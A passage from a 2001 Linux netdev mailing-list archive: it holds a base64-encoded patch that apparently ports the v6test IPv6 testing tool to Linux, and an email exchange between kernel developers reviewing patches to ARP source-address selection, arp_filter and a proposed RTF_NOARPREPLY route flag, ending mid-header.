MCw2ICsxMjAsMTAgQEANCiAJZWxzZQ0KIAkJaWYgdGVzdCAtZCAkZGlyL2lu Y2x1ZGUgLWEgLWYgJGRpci9pbmNsdWRlL3BjYXAuaDsgdGhlbg0KIAkJCXBj YXBfaW5jbHVkZT0iJGRpci9pbmNsdWRlIg0KKwkJZWxzZQ0KKwkJCWlmIHRl c3QgLWQgJGRpci9pbmNsdWRlL3BjYXAgLWEgLWYgJGRpci9pbmNsdWRlL3Bj YXAvcGNhcC5oOyB0aGVuDQorCQkJCXBjYXBfaW5jbHVkZT0iJGRpci9pbmNs dWRlL3BjYXAiDQorCQkJZmkNCiAJCWZpDQogCWZpDQogCWlmIHRlc3QgIiRw Y2FwX2xpYiIgIT0gIm5vIiAtYSAiJHBjYXBfaW5jbHVkZSIgIT0gIm5vIjsg dGhlbg0KLS0tIHY2dGVzdC5vcmlnL01ha2VmaWxlLmluCVdlZCBPY3QgIDYg MDU6MTc6MjAgMTk5OQ0KKysrIHY2dGVzdC9NYWtlZmlsZS5pbglTYXQgTWF5 IDE5IDIxOjM4OjAyIDIwMDENCkBAIC0yOCw3ICsyOCw3IEBADQogQ09ORkRJ UiA9ICR7cHJlZml4fS9zaGFyZS92NnRlc3QNCiANCiBDUFBGTEFHUz1AQ1BQ RkxBR1NADQotQ0ZMQUdTPQlAQ0ZMQUdTQCBAREVGU0AgQE9QVEZMQUdTQCAk KENQUEZMQUdTKQ0KK0NGTEFHUz0JQENGTEFHU0AgQERFRlNAIEBPUFRGTEFH U0AgLURfQlNEX1NPVVJDRSAkKENQUEZMQUdTKQ0KIExERkxBR1M9QExERkxB R1NADQogTElCUz1ATElCU0ANCiANCi0tLSB2NnRlc3Qub3JpZy9jb21tb24u aAlXZWQgT2N0ICA2IDA2OjQ0OjE5IDE5OTkNCisrKyB2NnRlc3QvY29tbW9u LmgJU3VuIE1heSAyMCAxMTo1Mjo1NCAyMDAxDQpAQCAtNDIsNiArNDIsNyBA QA0KICNpbmNsdWRlIDxzeXMvcGFyYW0uaD4NCiAjaW5jbHVkZSA8c3lzL2lv Y3RsLmg+DQogI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCisjaW5jbHVkZSA8 c3lzL3RpbWUuaD4gCS8qIGZvciBvbGRlciBnbGliYydzICovDQogDQogI2lu Y2x1ZGUgPG5ldC9pZi5oPg0KICNpbmNsdWRlIDxuZXQvYnBmLmg+DQpAQCAt NzAsMyArNzEsOSBAQA0KIGV4dGVybiBpbnQgZ2V0Y29uZmlnIF9fUCgoY2hh ciAqLCB1X2NoYXIgKikpOw0KIC8qIGNrc3VtLmMgKi8NCiBleHRlcm4gdm9p ZCBja3N1bTYgX19QKCh2b2lkKSk7DQorDQorI2RlZmluZSBOVE9ITCh4KSAg ICAgICAgKCh4KSA9IG50b2hsKCh1X2xvbmcpKHgpKSkNCisjZGVmaW5lIE5U T0hTKHgpICAgICAgICAoKHgpID0gbnRvaHMoKHVfc2hvcnQpKHgpKSkNCisj ZGVmaW5lIEhUT05MKHgpICAgICAgICAoKHgpID0gaHRvbmwoKHVfbG9uZyko eCkpKQ0KKyNkZWZpbmUgSFRPTlMoeCkgICAgICAgICgoeCkgPSBodG9ucygo dV9zaG9ydCkoeCkpKQ0KKyNpbmNsdWRlIDxsaW51eC9pZl9wYWNrZXQuaD4N Ci0tLSB2NnRlc3Qub3JpZy92NnRlc3QuYwlUdWUgTWF5ICA4IDA3OjM2OjQy IDIwMDENCisrKyB2NnRlc3QvdjZ0ZXN0LmMJU3VuIE1heSAyMCAxMTo1ODox OCAyMDAxDQpAQCAtMzUsNyArMzUsOCBAQA0KIHVfY2hhciBidWZbNjU1MzZd Ow0KIGNoYXIgKmNvbmZmaWxlID0gTlVMTDsNCiBjaGFyICppZmFjZSA9IE5V TEw7DQotY2hhciAqb3B0c3JjLCAqb3B0ZHN0LCAqc3JjZWFkZHIsICpkc3Rl YWRkcjsNCitjaGFyICpvcHRzcmMsICpvcHRkc3QsIHNyY2VhZGRyWzZdLCAq ZHN0ZWFkZHI7DQoraW50IGludGluZGV4Ow0KIHN0YXRpYyBzdHJ1Y3QgaW42 X2FkZHIgaXA2c3JjLCBpcDZkc3Q7DQogc3RydWN0IGluNl9hZGRyICpvcHRz cmNuLCAqb3B0ZHN0bjsNCiBpbnQgc2ZsYWcgPSAwLCBkZmxhZyA9IDAsIG5m bGFnID0gMDsNCkBAIC02Niw2ICs2Nyw4IEBADQogCWludCBzaXplLCBjaDsN CiAJaW50IGZkID0gLTE7DQogCWludCBsaW5raGRyOw0KKwlzdHJ1Y3Qgc29j a2FkZHJfbGwgbGxfZGVzdF9hZGRyOw0KKwlzdHJ1Y3Qgc29ja2FkZHJfbGwg bGxfc291cmNlX2FkZHI7DQogCQ0KIAl3aGlsZSAoKGNoID0gZ2V0b3B0KGFy Z2MsIGFyZ3YsICJkOmY6aTpuczoiKSkgIT0gLTEpDQogCQlzd2l0Y2goY2gp IHsNCkBAIC0xMTAsMTEgKzExMyw0MCBAQA0KIAkJZXJyeCgxLCAidW5zdXBw b3J0ZWQgaW50ZXJmYWNlICVzIiwgaWZhY2UpOw0KIAkJLypOT1RSRUFDSEVE Ki8NCiAJfQ0KKwkNCisJLyogZGVzdCBhZGRyZXNzIGZvciBzZW5kdG8gKi8N CisJbWVtc2V0KCZsbF9kZXN0X2FkZHIsIDAsIHNpemVvZihsbF9kZXN0X2Fk ZHIpKTsNCisJbGxfZGVzdF9hZGRyLnNsbF9mYW1pbHkgPSBBRl9QQUNLRVQ7 DQorCWxsX2Rlc3RfYWRkci5zbGxfcHJvdG9jb2wgPSBodG9ucyhFVEhfUF9J UFY2KTsNCisJbGxfZGVzdF9hZGRyLnNsbF9pZmluZGV4ID0gaW50aW5kZXg7 DQorCWxsX2Rlc3RfYWRkci5zbGxfaGFsZW4gPSBFVEhfQUxFTjsNCisNCisJ Lyogc291cmNlIGFkZHJlc3MgZm9yIGJpbmQgKi8NCisJbWVtc2V0KCZsbF9z b3VyY2VfYWRkciwgMCwgc2l6ZW9mKGxsX3NvdXJjZV9hZGRyKSk7DQorCWxs X3NvdXJjZV9hZGRyLnNsbF9mYW1pbHkgPSBBRl9QQUNLRVQ7DQorCWxsX3Nv dXJjZV9hZGRyLnNsbF9wcm90b2NvbCA9IGh0b25zKEVUSF9QX0lQVjYpOw0K KwlsbF9zb3VyY2VfYWRkci5zbGxfaWZpbmRleCA9IGludGluZGV4Ow0KKwls bF9zb3VyY2VfYWRkci5zbGxfaGFsZW4gPSBFVEhfQUxFTjsNCisNCiAJZm9y ICg7IGFyZ2MgPiAwOyBhcmd2KyssIGFyZ2MtLSkgew0KKwkJc3RydWN0IGV0 aGVyX2hlYWRlciAqZXRoZXI7DQogCQlzaXplID0gZ2V0Y29uZmlnKCphcmd2 LCBidWYgKyBsaW5raGRyKTsNCiAJCWZvcm0oZmQsIGlmYWNlKTsNCisNCisJ CWV0aGVyID0gKHN0cnVjdCBldGhlcl9oZWFkZXIgKilidWY7DQorCQltZW1j cHkgKGxsX2Rlc3RfYWRkci5zbGxfYWRkciwgZXRoZXItPmV0aGVyX2Rob3N0 LCBFVEhfQUxFTik7CQkNCisNCisJCWlmIChzcmNlYWRkcikNCisJCQltZW1j cHkgKGxsX3NvdXJjZV9hZGRyLnNsbF9hZGRyLCBzcmNlYWRkciwgRVRIX0FM RU4pOw0KKwkJCQ0KKwkJaWYgKGJpbmQoZmQsKHN0cnVjdCBzb2NrYWRkciop JmxsX3NvdXJjZV9hZGRyLHNpemVvZihsbF9zb3VyY2VfYWRkcikpID09IC0x ICkNCisJCQlwZXJyb3IoImJpbmQiKTsNCisJCQkJCQkJDQogCQlpZiAoc2l6 ZSAmJiBuZmxhZyA9PSAwKQ0KLQkJCXdyaXRlKGZkLCBidWYsIHNpemUgKyBs aW5raGRyKTsNCisJCQlpZiAoKHNlbmR0byhmZCwgYnVmLCBzaXplICsgbGlu a2hkciwwLA0KKwkJCQkJKHN0cnVjdCBzb2NrYWRkciopJmxsX2Rlc3RfYWRk ciwNCisJCQkgICAgICAgICAgICAgICAgc2l6ZW9mKGxsX2Rlc3RfYWRkcikg KSkgPCAwICkNCisJCQkJCQlwZXJyb3IoInNlbmR0byIpOw0KIAl9DQogCWV4 aXQoMCk7DQogfQ0KQEAgLTEzMSw2ICsxNjMsNyBAQA0KICNlbmRpZiANCiAJ DQogI2RlZmluZSBOQlBGSUxURVIgNA0KKyNpZiAwDQogCWRvIHsNCiAJCXNw cmludGYoZGV2LCAiL2Rldi9icGYlZCIsIG4rKyk7DQogCQlmZCA9IG9wZW4o ZGV2LCBPX1JEV1IpOw0KQEAgLTE0Niw2ICsxNzksMTEgQEANCiAJfQ0KIA0K IAliemVybygmaWZyLCBzaXplb2YoaWZyKSk7DQorI2Vsc2UNCisJaWYgKCAo ZmQgPSBzb2NrZXQoUEZfUEFDS0VULCBTT0NLX1JBVywgMCkpIDwgMCkNCisJ CXBlcnJvcigic29ja2V0Iik7DQorDQorI2VuZGlmDQogI2lmZGVmIEhBVkVf TElCUENBUA0KIAlpZiAoaWZhY2UgPT0gTlVMTCAmJg0KIAkgICAgKGlmYWNl ID0gcGNhcF9sb29rdXBkZXYocGNhcGVycmJ1ZikpID09IE5VTEwpIHsNCkBA IC0xNjAsMTAgKzE5OCwyNCBAQA0KIAl9DQogI2VuZGlmIA0KIAlzdHJjcHko aWZyLmlmcl9uYW1lLCBpZmFjZSk7DQorI2lmIDANCiAJaWYgKGlvY3RsKGZk LCBCSU9DU0VUSUYsICZpZnIpIDwgMCkgew0KIAkJcGVycm9yKCJpb2N0bChC SU9DU0VUSUYpIik7DQogCQlyZXR1cm4oLTEpOw0KIAl9DQorI2Vsc2UNCisJ aWYgKGlvY3RsKGZkLCBTSU9DR0lGSFdBRERSLCAmaWZyKSA8IDApIHsNCisJ CXBlcnJvcigiaW9jdGwoU0lPQ0dJRkhXQUREUikiKTsNCisJCWV4aXQoLTEp Ow0KKwl9DQorCW1lbWNweShzcmNlYWRkciwgKGNoYXIgKikgJihpZnIuaWZy X2h3YWRkci5zYV9kYXRhKSwgNik7DQorCWlmIChpb2N0bChmZCwgU0lPQ0dJ RklOREVYLCAmaWZyKSA8IDApIHsNCisJCXBlcnJvcigiaW9jdGwoU0lPQ0dJ RklOREVYKSIpOw0KKwkJZXhpdCgtMSk7DQorCX0NCisJbWVtY3B5KCZpbnRp bmRleCwgJihpZnIuaWZyX2lmaW5kZXgpLCBzaXplb2YoaWZyLmlmcl9pZmlu ZGV4KSk7DQorCQ0KKyNlbmRpZg0KIAlyZXR1cm4oZmQpOw0KIH0NCiANCkBA IC0xNzMsMTAgKzIyNSwxMiBAQA0KIAljaGFyICppZmFjZTsNCiB7DQogCXVf aW50IHY7DQorCXN0cnVjdCBpZnJlcSBpZnI7DQogDQogCWlmIChmZCA8IDAp DQogCQlyZXR1cm4gc2l6ZW9mKHN0cnVjdCBldGhlcl9oZWFkZXIpOw0KIA0K KyNpZiAwDQogCWlmIChpb2N0bChmZCwgQklPQ0dETFQsIChjYWRkcl90KSZ2 KSA8IDApIHsNCiAJCWVycigxLCAiaW9jdGwoQklPQ0dETFQpIik7DQogCQkv Kk5PVFJFQUNIRUQqLw0KQEAgLTE4Nyw3ICsyNDEsMjcgQEANCiAJY2FzZSBE TFRfTlVMTDoNCiAJCXJldHVybiBzaXplb2YodV9pbnQpOw0KIAl9DQorI2Vs c2UNCisjaWZkZWYgTk9UX1JFQUxMWV9ORUVERUQNCisJbWVtc2V0KCZpZnIs IDAsIHNpemVvZihpZnIpKTsNCisJc3RybmNweShpZnIuaWZyX25hbWUsIGlm YWNlLCBzaXplb2YoaWZyLmlmcl9uYW1lKSk7DQorCWlmIChpb2N0bChmZCwg U0lPQ0dJRkhXQUREUiwgJmlmcikgPCAwICkgew0KKwkJcGVycm9yKCJpb2N0 bChTSU9DR0lGSFdBRERSKTogaGRybGVuIik7DQorCQlleGl0KC0xKTsNCisJ fQ0KKwlzd2l0Y2ggKGlmci5pZnJfaHdhZGRyLnNhX2ZhbWlseSkgew0KKw0K KwljYXNlIEFSUEhSRF9FVEhFUjoNCisJCXJldHVybiBzaXplb2Yoc3RydWN0 IGV0aGVyX2hlYWRlcik7DQorCQlicmVhazsNCisJY2FzZSBBUlBIUkRfTE9P UEJBQ0s6DQorCQlyZXR1cm4gc2l6ZW9mKHVfaW50KTsNCisJCWJyZWFrOw0K Kwl9CQ0KKyNlbmRpZiAvKiBOT1RfUkVBTExZX05FRURFRCAqLw0KIA0KKwly ZXR1cm4gc2l6ZW9mKHN0cnVjdCBldGhlcl9oZWFkZXIpOw0KKyNlbmRpZg0K IAlyZXR1cm4gLTE7DQogfQ0KIA0KQEAgLTE5NywxMCArMjcxLDEyIEBADQog CWNoYXIgKmlmYWNlOw0KIHsNCiAJdV9pbnQgdjsNCisJc3RydWN0IGlmcmVx IGlmcjsNCiANCiAJaWYgKGZkIDwgMCkNCiAJCXJldHVybjsNCiANCisjaWYg MA0KIAlpZiAoaW9jdGwoZmQsIEJJT0NHRExULCAoY2FkZHJfdCkmdikgPCAw KSB7DQogCQllcnIoMSwgImlvY3RsKEJJT0NHRExUKSIpOw0KIAkJLypOT1RS RUFDSEVEKi8NCkBAIC0yMTMsNiArMjg5LDI3IEBADQogCQlmb3JtX251bGwo KTsNCiAJCWJyZWFrOw0KIAl9DQorI2Vsc2UNCisjaWZkZWYgTk9UX1JFQUxM WV9ORUVERUQNCisJbWVtc2V0KCZpZnIsIDAsIHNpemVvZihpZnIpKTsNCisJ c3RybmNweShpZnIuaWZyX25hbWUsIGlmYWNlLCBzaXplb2YoaWZyLmlmcl9u YW1lKSk7DQorCWlmIChpb2N0bChmZCwgU0lPQ0dJRkhXQUREUiwgJmlmcikg PCAwICkgew0KKwkJcGVycm9yKCJpb2N0bChTSU9DR0lGSFdBRERSKTogZm9y bSIpOw0KKwkJZXhpdCgtMSk7DQorCX0NCisJc3dpdGNoIChpZnIuaWZyX2h3 YWRkci5zYV9mYW1pbHkpIHsNCisNCisJY2FzZSBBUlBIUkRfRVRIRVI6DQor CQlmb3JtX2V0aGVyKCk7DQorCQlicmVhazsNCisJY2FzZSBBUlBIUkRfTE9P UEJBQ0s6DQorCQlmb3JtX251bGwoKTsNCisJCWJyZWFrOw0KKwl9CQ0KKyNl bmRpZiAvKiBOT1RfUkVBTExZX05FRURFRCAqLw0KKw0KKwlmb3JtX2V0aGVy KCk7DQorI2VuZGlmDQogfQ0KIA0KIHN0YXRpYyB2b2lkDQo= --1589707168-1509106998-990377648=:30045-- From owner-netdev@oss.sgi.com Sun May 20 22:01:58 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f4L51wp31468 for netdev-outgoing; Sun, 20 May 2001 22:01:58 -0700 Received: from saw.sw.com.sg (saw.swusa.com [207.214.125.61]) by oss.sgi.com (8.11.3/8.11.3) with SMTP id f4L51lF31461 for ; Sun, 20 May 2001 22:01:47 -0700 Received: (qmail 9681 invoked by uid 577); 21 May 2001 04:57:19 -0000 Message-ID: <20010520215719.A9471@saw.sw.com.sg> Date: Sun, 20 May 2001 21:57:19 -0700 From: Andrey Savochkin To: "David S. Miller" Cc: ak@muc.de, kuznet@ms2.inr.ac.ru, Julian Anastasov , netdev@oss.sgi.com Subject: Re: arpfilter merged, next part? References: <200105170437.VAA26847@pizda.ninka.net> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary=pf9I7BMVVzbSWLtt X-Mailer: Mutt 0.93.2i In-Reply-To: <200105170437.VAA26847@pizda.ninka.net>; from "David S. Miller" on Wed, May 16, 2001 at 09:37:39PM Sender: owner-netdev@oss.sgi.com Precedence: bulk Content-Length: 5659 Lines: 170 --pf9I7BMVVzbSWLtt Content-Type: text/plain; charset=us-ascii Hi, On Wed, May 16, 2001 at 09:37:39PM -0700, David S. Miller wrote: > Andrey, what is the status of the hacks you were > going to work on? Arpfilter is pushed to Linus as of > 2.4.5-pre3, and it would be nice to get your stuff into > 2.4.5 as well. Here are the patches. The first one implements selection of IP addresses of ARP requests based on the routing table. It allows to eliminate pollution of ARP caches of neighbors by our local IP addresses for which we don't want to provide our link-level address. Additionally, it skips arp filtering mechanism for PACKET_HOST packets, which was proposed by Alexey, if I remember. Two comments: 1. I don't completely understand how the current code works for the case of forwarding of packets and looking up for link-level address of the next gateway. Do I get it right that IP source of ARP request will be wrong? Or I misunderstand what we queue in neigh->arp_queue? 2. The big `if' if (arp->ar_op == __constant_htons(ARPOP_REQUEST) && ip_route_input(skb, tip, sip, 0, dev) == 0) looks suspicious. If ip_route_input fails (e.g., because rejecting route is installed), we fall back into just updating of the neighbor state to NUD_REACHABLE. The packets from this neighbor are rejected. Is it a good reason to immediately consider it as "reachable"? The second patch is for Julian. I understand that the current scheme is not extremely convenient for you. As you explained, for the configuration Source/Gateway - Redirector - Host, where Redirector and Host has the same IP address and the address isn't exposed on Host, arp_filter patch requires you to block all IP communications between Source/Gateway and Host. If you want to have more filtering abilities, the second patch provides the first step: a per-rtentry flag no blocking IP communications and disallowing answering ARP requests. You just need to add an interface to set this flag from the userspace, by iproute. Andrey --pf9I7BMVVzbSWLtt Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="arp-filter-src1.patch" --- ./net/ipv4/arp.c.arpflt Sun May 20 20:12:58 2001 +++ ./net/ipv4/arp.c Sun May 20 20:12:58 2001 @@ -321,11 +321,19 @@ struct net_device *dev = neigh->dev; u32 target = *(u32*)neigh->primary_key; int probes = atomic_read(&neigh->probes); + struct rtable *rt; - if (skb && inet_addr_type(skb->nh.iph->saddr) == RTN_LOCAL) - saddr = skb->nh.iph->saddr; - else - saddr = inet_select_addr(dev, target, RT_SCOPE_LINK); + /* Determine source IP for the probing packet. */ + rt = NULL; + if (skb != NULL) + rt = (struct rtable*)skb->dst; + if (rt == NULL) + if (ip_route_output(&rt, target, 0, 0, dev->ifindex) < 0) + /* Never send probes with 0 source as we used to. */ + return; + saddr = rt->rt_src; + if (!saddr) + return; if ((probes -= neigh->parms->ucast_probes) < 0) { if (!(neigh->nud_state&NUD_VALID)) @@ -345,20 +353,35 @@ read_unlock_bh(&neigh->lock); } -static int arp_filter(__u32 sip, __u32 tip, struct net_device *dev) +static int arp_filter(struct sk_buff *skb, __u32 sip, __u32 tip, + struct in_device *in_dev) { struct rtable *rt; int flag = 0; - /*unsigned long now; */ + if (!IN_DEV_ARPFILTER(in_dev)) + return 0; + + /* Always answer direct queries. */ + if (skb->pkt_type == PACKET_HOST) + return 0; + + /* Then check routes: + * primarily, this check is used to not to answer to some requests if + * several interfaces are connected to the same segment. + * This check also may be used for manual control of who sees IP + * addresses at which link-level addresses by installing prohibiting + * routes. -- 2001/05/20 SAW + */ if (ip_route_output(&rt, sip, tip, 0, 0) < 0) return 1; - if (rt->u.dst.dev != dev) { + if (rt->u.dst.dev != in_dev->dev) { NET_INC_STATS_BH(ArpFilter); flag = 1; } ip_rt_put(rt); - return flag; + + return flag; } /* OBSOLETE FUNCTIONS */ @@ -757,10 +779,7 @@ if (addr_type == RTN_LOCAL) { n = neigh_event_ns(&arp_tbl, sha, &sip, dev); if (n) { - int dont_send = 0; - if (IN_DEV_ARPFILTER(in_dev)) - dont_send |= arp_filter(sip,tip,dev); - if (!dont_send) + if (!arp_filter(skb, sip, tip, in_dev)) arp_send(ARPOP_REPLY,ETH_P_ARP,sip,dev,tip,sha,dev->dev_addr,sha); neigh_release(n); --pf9I7BMVVzbSWLtt Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="arp-filter-access1.patch" --- ./include/linux/route.h.arpac Sun May 20 20:33:03 2001 +++ ./include/linux/route.h Sun May 20 20:33:03 2001 @@ -59,6 +59,7 @@ #define RTF_WINDOW 0x0080 /* per route window clamping */ #define RTF_IRTT 0x0100 /* Initial round trip time */ #define RTF_REJECT 0x0200 /* Reject route */ +#define RTF_NOARPREPLY 0x0400 /* Do not answer ARP for this route */ /* * uses RTF values >= 64k --- ./net/ipv4/arp.c.arpac Sun May 20 20:33:00 2001 +++ ./net/ipv4/arp.c Sun May 20 20:45:13 2001 @@ -779,7 +779,8 @@ if (addr_type == RTN_LOCAL) { n = neigh_event_ns(&arp_tbl, sha, &sip, dev); if (n) { - if (!arp_filter(skb, sip, tip, in_dev)) + if (!(rt->rt_flags & RTF_NOARPREPLY) && + !arp_filter(sip, tip, in_dev)) arp_send(ARPOP_REPLY,ETH_P_ARP,sip,dev,tip,sha,dev->dev_addr,sha); neigh_release(n); @@ -792,6 +793,9 @@ n = neigh_event_ns(&arp_tbl, sha, &sip, dev); if (n) neigh_release(n); + + if (rt->rt_flags & RTF_NOARPREPLY) + goto out; if (skb->stamp.tv_sec == 0 || skb->pkt_type == PACKET_HOST || --pf9I7BMVVzbSWLtt-- From owner-netdev@oss.sgi.com Tue May 22 01:30:21 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f4M8UL332418 for netdev-outgoing; Tue, 22 May 2001 01:30:21 -0700 Received: from l.himel.bg (IDENT:root@unamed.infotel.bg [212.39.68.18] (may be forged)) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f4M8UHF32415 for ; Tue, 22 May 2001 01:30:18 -0700 Received: from linux.himel.bg (IDENT:ja@linux.himel.bg [127.0.0.1]) by l.himel.bg (8.9.3/8.9.3) with ESMTP id LAA02776; Tue, 22 May 2001 11:29:44 +0300 Date: Tue, 22 May 2001 11:29:44 +0300 (EEST) From: Julian Anastasov X-Sender: ja@l To: Andrey Savochkin cc: "David S. Miller" , ak@muc.de, kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com Subject: Re: arpfilter merged, next part? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-netdev@oss.sgi.com Precedence: bulk Content-Length: 2876 Lines: 94 Hello, On Tue, 21 May 2001, Andrey Savochkin wrote: > Hi, > > Here are the patches. > > The first one implements selection of IP addresses of ARP requests based on > the routing table. It allows to eliminate pollution of ARP caches of > neighbors by our local IP addresses for which we don't want to provide our > link-level address. > Additionally, it skips arp filtering mechanism for PACKET_HOST packets, which > was proposed by Alexey, if I remember. > > Two comments: > 1. I don't completely understand how the current code works for the case > of forwarding of packets and looking up for link-level address of the next > gateway. Do I get it right that IP source of ARP request will be wrong? I have the same feeling > Or I misunderstand what we queue in neigh->arp_queue? > 2. The big `if' > if (arp->ar_op == __constant_htons(ARPOP_REQUEST) && > ip_route_input(skb, tip, sip, 0, dev) == 0) > looks suspicious. > If ip_route_input fails (e.g., because rejecting route is installed), we fall > back into just updating of the neighbor state to NUD_REACHABLE. > The packets from this neighbor are rejected. > Is it a good reason to immediately consider it as "reachable"? 3. rt is not released after ip_route_output 4. Do we need to distinguish the input/output routes based on rt_iif != 0, for example: /* Determine source IP for the probing packet. */ rt = NULL; saddr = 0; if (skb != NULL) { rt = (struct rtable*)skb->dst; if (!rt->rt_iif) { /* Is it always local? */ saddr = rt->rt_src; } } if (saddr == 0) { if (ip_route_output(&rt, target, 0, RTO_ONLINK, dev->ifindex) < 0) /* Never send probes with 0 source as we used to. */ return; saddr = rt->rt_src; ip_rt_put(rt); if (!saddr) return; } i.e.: - is it right to avoid the input routes? - is rt_src always local in 2.4 - ONLINK > The second patch is for Julian. > I understand that the current scheme is not extremely convenient for you. > As you explained, for the configuration > Source/Gateway - Redirector - Host, > where Redirector and Host has the same IP address and the address isn't > exposed on Host, arp_filter patch requires you to block all IP communications > between Source/Gateway and Host. > If you want to have more filtering abilities, the second patch provides the > first step: a per-rtentry flag no blocking IP communications and disallowing > answering ARP requests. You just need to add an interface to set this flag > from the userspace, by iproute. Filtering by routes is not my dream but give me some days to think on it (of course this patch #2 is not for 2.4.5, I hope :)). - In my case control over the announced source in the probe is needed - RTF_NOARPREPLY: is it for unicast routes only? The filtering isn't for routes to local (ip_route_input)? > Andrey Regards -- Julian Anastasov From owner-netdev@oss.sgi.com Tue May 22 21:50:18 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f4N4oIO26233 for netdev-outgoing; Tue, 22 May 2001 21:50:18 -0700 Received: from saw.sw.com.sg (saw.swusa.com [207.214.125.61]) by oss.sgi.com (8.11.3/8.11.3) with SMTP id f4N4oGF26216 for ; Tue, 22 May 2001 21:50:16 -0700 Received: (qmail 17305 invoked by uid 577); 23 May 2001 04:45:40 -0000 Message-ID: <20010522214540.A17295@saw.sw.com.sg> Date: Tue, 22 May 2001 21:45:40 -0700 From: Andrey Savochkin To: Julian Anastasov Cc: "David S. Miller" , ak@muc.de, kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com Subject: Re: arpfilter merged, next part? References: Mime-Version: 1.0 Content-Type: multipart/mixed; boundary=fdj2RfSjLxBAspz7 X-Mailer: Mutt 0.93.2i In-Reply-To: ; from "Julian Anastasov" on Tue, May 22, 2001 at 11:29:44AM Sender: owner-netdev@oss.sgi.com Precedence: bulk Content-Length: 4502 Lines: 157 --fdj2RfSjLxBAspz7 Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename=mutta17295 On Tue, May 22, 2001 at 11:29:44AM +0300, Julian Anastasov wrote: > > 3. rt is not released after ip_route_output Yes, it's a bug. > 4. Do we need to distinguish the input/output routes based on > rt_iif != 0, for example: Yes, we do. Checking rt_iif looks like a correct way to do it. [snip] > i.e.: > > - is it right to avoid the input routes? Yes, afaik > - is rt_src always local in 2.4 For output routes, it is. It's either a local address or a preffered source from FIB. We, actually, do not need to bother about whether it's local or not because it's what administrator explicitly specified as a source for outgoing packets. But, nevertheless, preffered sources are currently checked for being local when the entry is being added. > - ONLINK I'm not sure about it. Providing ONLINK, you only reduce the chances of ip_route_output to succeed and increase chances to not to send any packet. If the destination doesn't belong to the directly attached network, something is wrong, but, well, why not to send the packet if we have it? The source we select is legal... A fixed patch is attached. > > The second patch is for Julian. [snip] > > Filtering by routes is not my dream but give me some days to > think on it (of course this patch #2 is not for 2.4.5, I hope :)). > > - In my case control over the announced source in the probe is needed You already have it, it's preferred source in your routes. > - RTF_NOARPREPLY: is it for unicast routes only? The filtering isn't > for routes to local (ip_route_input)? I don't understand you well. RTF_NOARPREPLY is for local routes. Generally, receiving arp request we check if it's for our local address (by that ip_route_input). We ammend this check by additional one, whether ARP replies are disabled for this local address or not. Andrey --fdj2RfSjLxBAspz7 Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="arp-filter-src2.patch" diff -ru linux-2.4.5-pre4.orig/net/ipv4/arp.c linux-2.4.5-pre4/net/ipv4/arp.c --- linux-2.4.5-pre4.orig/net/ipv4/arp.c Sun May 20 20:54:17 2001 +++ linux-2.4.5-pre4/net/ipv4/arp.c Tue May 22 09:58:24 2001 @@ -321,11 +321,24 @@ struct net_device *dev = neigh->dev; u32 target = *(u32*)neigh->primary_key; int probes = atomic_read(&neigh->probes); + struct rtable *rt; - if (skb && inet_addr_type(skb->nh.iph->saddr) == RTN_LOCAL) - saddr = skb->nh.iph->saddr; - else - saddr = inet_select_addr(dev, target, RT_SCOPE_LINK); + /* Determine source IP for the probing packet. */ + saddr = 0; + if (skb != NULL) { + rt = (struct rtable*)skb->dst; + if (!rt->rt_iif) + saddr = rt->rt_src; + } + if (!saddr) { + if (ip_route_output(&rt, target, 0, 0, dev->ifindex) < 0) + /* Never send probes with 0 source as we used to. */ + return; + saddr = rt->rt_src; + ip_rt_put(rt); + } + if (!saddr) + return; if ((probes -= neigh->parms->ucast_probes) < 0) { if (!(neigh->nud_state&NUD_VALID)) @@ -345,20 +358,35 @@ read_unlock_bh(&neigh->lock); } -static int arp_filter(__u32 sip, __u32 tip, struct net_device *dev) +static int arp_filter(struct sk_buff *skb, __u32 sip, __u32 tip, + struct in_device *in_dev) { struct rtable *rt; int flag = 0; - /*unsigned long now; */ + if (!IN_DEV_ARPFILTER(in_dev)) + return 0; + + /* Always answer direct queries. */ + if (skb->pkt_type == PACKET_HOST) + return 0; + + /* Then check routes: + * primarily, this check is used to not to answer to some requests if + * several interfaces are connected to the same segment. + * This check also may be used for manual control of who sees IP + * addresses at which link-level addresses by installing prohibiting + * routes. -- 2001/05/20 SAW + */ if (ip_route_output(&rt, sip, tip, 0, 0) < 0) return 1; - if (rt->u.dst.dev != dev) { + if (rt->u.dst.dev != in_dev->dev) { NET_INC_STATS_BH(ArpFilter); flag = 1; } ip_rt_put(rt); - return flag; + + return flag; } /* OBSOLETE FUNCTIONS */ @@ -757,10 +785,7 @@ if (addr_type == RTN_LOCAL) { n = neigh_event_ns(&arp_tbl, sha, &sip, dev); if (n) { - int dont_send = 0; - if (IN_DEV_ARPFILTER(in_dev)) - dont_send |= arp_filter(sip,tip,dev); - if (!dont_send) + if (!arp_filter(skb, sip, tip, in_dev)) arp_send(ARPOP_REPLY,ETH_P_ARP,sip,dev,tip,sha,dev->dev_addr,sha); neigh_release(n); --fdj2RfSjLxBAspz7-- From owner-netdev@oss.sgi.com Wed May 23 02:45:38 2001 Received: (from majordomo@localhost) by oss.sgi.com (8.11.3/8.11.3) id f4N9jcD00728 for netdev-outgoing; Wed, 23 May 2001 02:45:38 -0700 Received: from l.himel.bg (IDENT:root@unamed.infotel.bg [212.39.68.18] (may be forged)) by oss.sgi.com (8.11.3/8.11.3) with ESMTP id f4N9jYF00725 for ; Wed, 23 May 2001 02:45:35 -0700 Received: from linux.himel.bg (IDENT:ja@linux.himel.bg [127.0.0.1]) by l.himel.bg (8.9.3/8.9.3) with ESMTP id MAA03243; Wed, 23 May 2001 12:45:21 +0300 Date: Wed, 23 May 2001 12:45:21 +0300 (EEST) From: Julian Anastasov X-Sender: ja@l To: Andrey Savochkin cc: "David S. Miller" 